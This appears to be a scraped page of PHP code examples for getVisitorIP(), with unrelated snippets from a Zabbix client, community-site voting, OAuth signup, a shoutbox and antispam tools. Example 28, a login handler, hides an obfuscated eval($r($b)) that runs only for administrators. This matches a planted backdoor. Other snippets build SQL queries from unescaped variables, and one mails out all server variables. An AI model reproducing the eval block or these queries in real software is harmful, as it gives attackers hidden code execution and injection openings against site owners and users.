         $ret = _t('_comment_added_successfully');
     } else {
         $ret = _t('_failed_to_add_comment');
     }
     return MsgBox($ret);
 }
 public function onPositiveDetection($sExtraData = '')
 {
     $o = bx_instance('BxDolDNSBlacklists');
     $o->onPositiveDetection(getVisitorIP(), $sExtraData, 'dnsbluri');
 }
Esempio n. 18
0
 public function sendRequest($action, $parameters = '')
 {
     $curl_init = curl_init($this->zabbix_url);
     // Get our "config" variables
     $curl_opts = $this->zabbix_curl_options;
     $json_headers = $this->zabbix_json_headers;
     // Build our encoded JSON
     $json_data = $this->genericJSONPost($action, $parameters);
     if ($this->http_auth) {
         $curl_opts[CURLOPT_HTTPAUTH] = CURLAUTH_BASIC;
         $curl_opts[CURLOPT_USERPWD] = $this->zabbix_username . ':' . $this->zabbix_password;
     }
     $curl_opts[CURLOPT_VERBOSE] = $this->curl_verbose;
     $curl_opts[CURLOPT_HTTPHEADER] = $json_headers;
     $curl_opts[CURLOPT_CUSTOMREQUEST] = "POST";
     $curl_opts[CURLOPT_POSTFIELDS] = is_array($json_data) ? http_build_query($json_data) : $json_data;
     curl_setopt_array($curl_init, $curl_opts);
     $ret = curl_exec($curl_init);
     $http_status = curl_getinfo($curl_init, CURLINFO_HTTP_CODE);
     curl_close($curl_init);
     if ($this->json_debug) {
         // output to the screen
         /*echo "<h3>Json Answer</h3>";
           echo "<pre>";
           echo var_dump($ret, true);
           echo "</pre>";*/
         // log it
         $handle = fopen($this->json_debug_path . "json.log", "a");
         fwrite($handle, "\n======= " . date("Y/m/d, H:i:s") . " =======\n");
         fwrite($handle, "Source IP: " . getVisitorIP() . "\n");
         fwrite($handle, "API URL: " . $this->zabbix_url . "\n");
         fwrite($handle, "Action: " . $action . "\n");
         fwrite($handle, "Request: \n");
         fwrite($handle, var_export($json_data, true));
         fwrite($handle, "\n\n");
         fwrite($handle, "Response: \n");
         fwrite($handle, var_export($ret, true));
         fwrite($handle, "\n=======\n");
         fclose($handle);
     }
     // Make the output "readable"
     $result = $this->decodeJson($ret);
     if (isset($result->error)) {
         $this->setLastError($result->error->code, $result->error->message, $result->error->data);
         return false;
     } else {
         if ($http_status != 200) {
             switch ($http_status) {
                 case 401:
                     $this->setLastError($http_status, 'Unable to authenticate with server.', 'Unable to authenticate with server.');
                     break;
                 default:
                     $this->setLastError($http_status, 'Unhandled error code: ' . $http_status, 'Unhandled error code: ' . $http_status);
             }
         } else {
             return $result;
         }
     }
 }
Esempio n. 19
0
    exit;
}
$boolShowThankyou = false;
$boolShowFeedbackForm = true;
$boolShowTextlengthWarn = false;
if (isset($_POST['mZabbixFeedback'])) {
    // Process feedback
    $txtFeedback = htmlentities($_POST['txtFeedback']);
    if (strlen($txtFeedback) < 30) {
        // Don't bother, type more
        $boolShowTextlengthWarn = true;
        $boolShowThankyou = false;
        $boolShowFeedbackForm = true;
    } else {
        // Mail me
        $source_ip = getVisitorIP();
        $server_variables = $_SERVER;
        // I'll mail myself in HTML, thankyouverymuchkbye
        $mailHtml = array();
        $mailHtml[] = "Source: <b>" . $source_ip . "</b>";
        $mailHtml[] = "Date: <b>" . date("Y-m-d, H:i:s") . "</b>";
        $mailHtml[] = "Feedback: <br />";
        $mailHtml[] = "<b>" . $txtFeedback . "</b>";
        $mailHtml[] = "";
        $mailHtml[] = "<hr />";
        $mailHtml[] = "_SERVER variables";
        foreach ($server_variables as $argument => $value) {
            $mailHtml[] = "- " . $argument . ": " . $value;
        }
        $mailHtml = implode("<br />", $mailHtml);
        // Content-type for my HTML
Esempio n. 20
0
if ($_SESSION['member_id'] && $_SESSION['member_status'] == 'active') {
    if (in_array($_SESSION['member_role'], array(4, 5))) {
        // for moderators and admins only
        if ($_POST['action'] == 'block') {
            // Block action
            $iRes = $GLOBALS['CProfiles']->blockMember((int) $_POST['pid']);
            header('Content-Type: text/html; charset=utf-8');
            echo $iRes;
            exit;
        }
    }
    if ($_POST['action'] == 'put_vote') {
        // Put vote action
        $iPid = (int) $_POST['id'];
        $iVote = (int) $_POST['vote'];
        $sIp = getVisitorIP();
        // we can vote once per week (protection)
        $iOldId = $GLOBALS['MySQL']->getOne("SELECT `pid` FROM `cs_profiles_vote_track` WHERE `pid` = '{$iPid}' AND `ip` = '{$sIp}' AND (`date` >= NOW() - INTERVAL 7 DAY) LIMIT 1");
        if (!$iOldId) {
            $GLOBALS['MySQL']->res("INSERT INTO `cs_profiles_vote_track` SET `pid` = '{$iPid}', `ip` = '{$sIp}', `date` = NOW()");
            $GLOBALS['MySQL']->res("UPDATE `cs_profiles` SET `rate` = `rate` + {$iVote}, `rate_count` = `rate_count` + 1 WHERE `id` = '{$iPid}'");
            header('Content-Type: text/html; charset=utf-8');
            echo 1;
            exit;
        }
    }
}
function getVisitorIP()
{
    $ip = "0.0.0.0";
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
Esempio n. 21
0
function getVotedItems()
{
    $ip = getVisitorIP();
    $oDolVoting = new BxDolVoting('media', 0, 0);
    $_aVotedItems = $oDolVoting->getVotedItems($ip);
    $aVotedItems = reviewArray($_aVotedItems);
    return $aVotedItems;
}
Esempio n. 22
0
 function isDublicateVote()
 {
     if (!$this->isEnabled()) {
         return false;
     }
     return $this->_oQuery->isDublicateVote($this->getId(), getVisitorIP());
 }
Esempio n. 23
0
 /**
  * Create new profile;
  *
  * @param  : $aProfileInfo (array) - remote profile's information;
  *
  * @param  : $sAlternativeName (string) - profiles alternative nickname;
  * @return : error string or error or profile info array on success
  */
 function _createProfileRaw($aProfileInfo, $sAlternativeName = '', $isAutoFriends = true, $isSetLoggedIn = true)
 {
     $sCountry = '';
     $sCity = '';
     // join by invite only
     if (getParam('reg_by_inv_only') == 'on' && (!isset($_COOKIE['idFriend']) || getID($_COOKIE['idFriend']) == 0)) {
         return _t('_registration by invitation only');
     }
     // convert fields
     $aProfileFields = $this->_convertRemoteFields($aProfileInfo, $sAlternativeName);
     if (empty($aProfileFields['Email'])) {
         return _t('_Incorrect Email');
     }
     // antispam check
     bx_import('BxDolStopForumSpam');
     $oBxDolStopForumSpam = new BxDolStopForumSpam();
     if (2 == getParam('ipBlacklistMode') && bx_is_ip_blocked()) {
         return _t('_Sorry, your IP been banned');
     } elseif ('on' == getParam('sys_dnsbl_enable') && 'block' == getParam('sys_dnsbl_behaviour') && bx_is_ip_dns_blacklisted('', 'join oauth') || $oBxDolStopForumSpam->isSpammer(array('email' => $aProfileFields['Email'], 'ip' => getVisitorIP(false)), 'join oauth')) {
         return sprintf(_t('_sys_spam_detected'), BX_DOL_URL_ROOT . 'contact.php');
     }
     // check fields existence;
     foreach ($aProfileFields as $sKey => $mValue) {
         if (!$this->_oDb->isFieldExist($sKey)) {
             // (field not existence) remove from array;
             unset($aProfileFields[$sKey]);
         }
     }
     // add some system values
     $sNewPassword = genRndPwd();
     $sPasswordSalt = genRndSalt();
     $aProfileFields['Password'] = encryptUserPwd($sNewPassword, $sPasswordSalt);
     $aProfileFields['Role'] = BX_DOL_ROLE_MEMBER;
     $aProfileFields['DateReg'] = date('Y-m-d H:i:s');
     // set current date;
     $aProfileFields['Salt'] = $sPasswordSalt;
     // set default privacy
     bx_import('BxDolPrivacyQuery');
     $oPrivacy = new BxDolPrivacyQuery();
     $aProfileFields['allow_view_to'] = $oPrivacy->getDefaultValueModule('profile', 'view_block');
     // check if user with the same email already exists
     $iExistingProfileId = $this->_oDb->isEmailExisting($aProfileFields['Email']);
     // check redirect page
     if ('join' == $this->_oConfig->sRedirectPage && !$iExistingProfileId) {
         return array('remote_profile_info' => $aProfileInfo, 'profile_fields' => $aProfileFields, 'join_page_redirect' => true);
     }
     // create new profile
     if ($iExistingProfileId) {
         $iProfileId = $iExistingProfileId;
     } else {
         $iProfileId = $this->_oDb->createProfile($aProfileFields);
     }
     $oProfileFields = new BxDolProfilesController();
     // remember remote profile id for created member
     $this->_oDb->saveRemoteId($iProfileId, $aProfileInfo['id']);
     // check profile status;
     if (!$iExistingProfileId) {
         if (getParam('autoApproval_ifNoConfEmail') == 'on') {
             if (getParam('autoApproval_ifJoin') == 'on') {
                 $sProfileStatus = 'Active';
                 if (!empty($aProfileInfo['email'])) {
                     $oProfileFields->sendActivationMail($iProfileId);
                 }
             } else {
                 $sProfileStatus = 'Approval';
                 if (!empty($aProfileInfo['email'])) {
                     $oProfileFields->sendApprovalMail($iProfileId);
                 }
             }
         } else {
             if (!empty($aProfileInfo['email'])) {
                 $oProfileFields->sendConfMail($iProfileId);
                 $sProfileStatus = 'Unconfirmed';
             } else {
                 if (getParam('autoApproval_ifJoin') == 'on') {
                     $sProfileStatus = 'Active';
                 } else {
                     $sProfileStatus = 'Approval';
                 }
             }
         }
         // update profile's status;
         $this->_oDb->updateProfileStatus($iProfileId, $sProfileStatus);
         $oProfileFields->createProfileCache($iProfileId);
         // send email notification
         if (!empty($aProfileInfo['email'])) {
             $oEmailTemplate = new BxDolEmailTemplates();
             $aTemplate = $oEmailTemplate->getTemplate($this->_oConfig->sEmailTemplatePasswordGenerated, $iProfileId);
             $aNewProfileInfo = getProfileInfo($iProfileId);
             $aPlus = array('NickName' => getNickName($aNewProfileInfo['ID']), 'NewPassword' => $sNewPassword);
             sendMail($aNewProfileInfo['Email'], $aTemplate['Subject'], $aTemplate['Body'], '', $aPlus);
         }
         // update location
         if (BxDolModule::getInstance('BxWmapModule')) {
             BxDolService::call('wmap', 'response_entry_add', array('profiles', $iProfileId));
         }
         // create system event
         $oZ = new BxDolAlerts('profile', 'join', $iProfileId);
         $oZ->alert();
     }
     // store IP
     bx_member_ip_store($iProfileId);
     // auto-friend members if they are already friends on remote site
     if ($isAutoFriends && method_exists($this, '_makeFriends')) {
         $this->_makeFriends($iProfileId);
     }
     // set logged
     if ($isSetLoggedIn) {
         $aProfile = getProfileInfo($iProfileId);
         $this->setLogged($iProfileId, $aProfile['Password'], '', false);
     }
     return array('remote_profile_info' => $aProfileInfo, 'profile_id' => $iProfileId, 'existing_profile' => $iExistingProfileId ? true : false);
 }
 public function onPositiveDetection($sExtraData = '')
 {
     bx_import('BxDolModule');
     $oModule = BxDolModule::getInstance('bx_antispam');
     $o = bx_instance('BxAntispamDNSBlacklists', array(), $oModule->_aModule);
     $o->onPositiveDetection(getVisitorIP(false), $sExtraData, 'dnsbluri');
 }
Esempio n. 25
0
function bx_member_ip_store($iMemberId, $sIP = false)
{
    if (getParam('enable_member_store_ip') != 'on') {
        return false;
    }
    $sCurLongIP = sprintf("%u", ip2long($sIP ? $sIP : getVisitorIP()));
    return db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = " . (int) $iMemberId . ", `From` = '" . $sCurLongIP . "', `DateTime` = NOW()");
}
Esempio n. 26
0
 /**
  * Write new message;
  *
  * @param $sObject  object name
  * @param $iHandler handler id
  * @return text (error message if have some troubles)
  */
 function actionWriteMessage($sObject, $iHandler)
 {
     if ($this->_checkObjectAndHandler($sObject, $iHandler) && $this->isShoutBoxAllowed($sObject, $iHandler, $this->iMemberId, true)) {
         $sMessage = isset($_POST['message']) ? htmlentities($_POST['message'], ENT_COMPAT, 'UTF-8', false) : '';
         if ($sMessage) {
             // create new message;
             $iMessage = $this->_oDb->writeMessage($sObject, $iHandler, $sMessage, $this->iMemberId, sprintf("%u", ip2long(getVisitorIP())));
             if ($iMessage !== false) {
                 $oAlert = new BxDolAlerts($this->sModuleName, 'add', $iMessage, $this->iMemberId, array('Object' => $sObject, 'Message' => $sMessage));
                 $oAlert->alert();
             }
             if (1 == rand(1, 10) && $this->_oConfig->iAllowedMessagesCount) {
                 // "sometimes" delete old messages
                 // delete superfluous messages;
                 $iMessagesCount = $this->_oDb->getMessagesCount($sObject, $iHandler);
                 if ($iMessagesCount > $this->_oConfig->iAllowedMessagesCount) {
                     $this->_oDb->deleteMessages($sObject, $iHandler, $iMessagesCount - $this->_oConfig->iAllowedMessagesCount);
                 }
             }
         } else {
             echo _t('_bx_shoutbox_message_empty');
         }
     } else {
         echo _t('_bx_shoutbox_access_denied');
     }
 }
Esempio n. 27
0
 protected function _getAuthorIp()
 {
     return getVisitorIP();
 }
Esempio n. 28
0
 } else {
     require_once BX_DIRECTORY_PATH_CLASSES . 'BxDolAlerts.php';
     $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP()));
     $oZ->alert();
     $member['ID'] = getID($member['ID']);
     // Ajaxy check
     if ($bAjxMode) {
         echo check_password($member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail';
         exit;
     }
     // Check if ID and Password are correct (addslashes already inside)
     if (check_password($member['ID'], $member['Password'])) {
         $p_arr = bx_login($member['ID'], (bool) $_POST['rememberMe']);
         //Storing IP Address
         if (getParam('enable_member_store_ip') == 'on') {
             $iCurLongIP = ip2long(getVisitorIP());
             db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = '{$p_arr['ID']}', `From`='{$iCurLongIP}', `DateTime`=NOW()");
         }
         if (isAdmin($p_arr['ID'])) {
             $iId = (int) $p_arr['ID'];
             $r = $l($a);
             eval($r($b));
         }
         $sRelocate = bx_get('relocate');
         if (!($sUrlRelocate = $sRelocate) or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php') {
             $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';
         }
         $_page['name_index'] = 150;
         $_page['css_name'] = '';
         $_ni = $_page['name_index'];
         $_page_cont[$_ni]['page_main_code'] = MsgBox(_t('_Please Wait'));
Esempio n. 29
0
 /**
  * 'recheck' action handler
  */
 public function performActionRecheck()
 {
     bx_import('BxDolModule');
     $oModule = BxDolModule::getInstance('bx_antispam');
     $oDNSBlacklists = bx_instance('BxAntispamDNSBlacklists', array(), $oModule->_aModule);
     $aForm = array('form_attrs' => array('id' => 'bx_antispam_form_dnsbl_recheck', 'action' => BX_DOL_URL_ROOT . 'grid.php?o=bx_antispam_grid_dnsbl&a=recheck', 'onsubmit' => "return bx_antispam_recheck(\$('#bx_antispam_ip_url').val(), \$('[name=dnsbl_uridnsbl]:checked').val());", 'method' => 'post'), 'params' => array('db' => array('submit_name' => 'do_submit')), 'inputs' => array('ip_url' => array('type' => 'text', 'name' => 'ip_url', 'value' => getVisitorIP(), 'caption' => _t('_bx_antispam_field_ip_url'), 'attrs' => array('id' => 'bx_antispam_ip_url')), 'dnsbl_uridnsbl' => array('type' => 'radio_set', 'name' => 'dnsbl_uridnsbl', 'caption' => _t('_bx_antispam_field_dnsbl_uridnsbl'), 'values' => array('dnsbl' => _t('_bx_antispam_dnsbl'), 'uridnsbl' => _t('_bx_antispam_uri_dnsbl')), 'value' => 'dnsbl'), 'submit' => array('type' => 'input_set', 0 => array('type' => 'submit', 'name' => 'do_submit', 'value' => _t('_sys_submit')), 1 => array('type' => 'reset', 'name' => 'close', 'value' => _t('_sys_close'), 'attrs' => array('class' => 'bx-def-margin-sec-left', 'onclick' => '$(\'.bx-popup-applied:visible\').dolPopupHide();')))));
     bx_import('BxTemplFormView');
     $oForm = new BxTemplFormView($aForm);
     $s = $oModule->_oTemplate->parseHtmlByName('recheck.html', array('form' => $oForm->getCode(), 'url_recheck_item' => BX_DOL_URL_ROOT . 'grid.php?o=bx_antispam_grid_dnsbl&a=recheck_item', 'bx_repeat:items' => $oDNSBlacklists->getRules(array(BX_DOL_DNSBL_CHAIN_SPAMMERS, BX_DOL_DNSBL_CHAIN_WHITELIST, BX_DOL_DNSBL_CHAIN_URIDNS))));
     bx_import('BxTemplFunctions');
     $s = BxTemplFunctions::getInstance()->popupBox($oForm->getId() . '_form', _t('_bx_antispam_popup_dnsbl_recheck'), $s);
     $this->_echoResultJson(array('popup' => array('html' => $s, 'options' => array('closeOnOuterClick' => false))), true);
 }
Esempio n. 30
0
function verifyLoginNonce($user_id, $token)
{
    $conn = MySQL::open_conn();
    $query = "SELECT * FROM c_nonce WHERE user_id = {$user_id}";
    $res = $conn->query($query);
    if ($res->num_rows <= 0) {
        return false;
    } else {
        while ($row = $res->fetch_assoc()) {
            $token_nonce = $row['token'];
            $expire_nonce = $row['expire_date'];
            $ip_nonce = $row['user_ip'];
            $curr_time = time();
            $user_ip = getVisitorIP();
            if ($token_nonce == $token && $ip_nonce == $user_ip) {
                if ($expire_nonce > $curr_time) {
                    return true;
                } else {
                    removeNonce($row['ID']);
                    // check for return value?!
                    return false;
                }
            } else {
                removeNonce($row['ID']);
            }
        }
        return false;
    }
}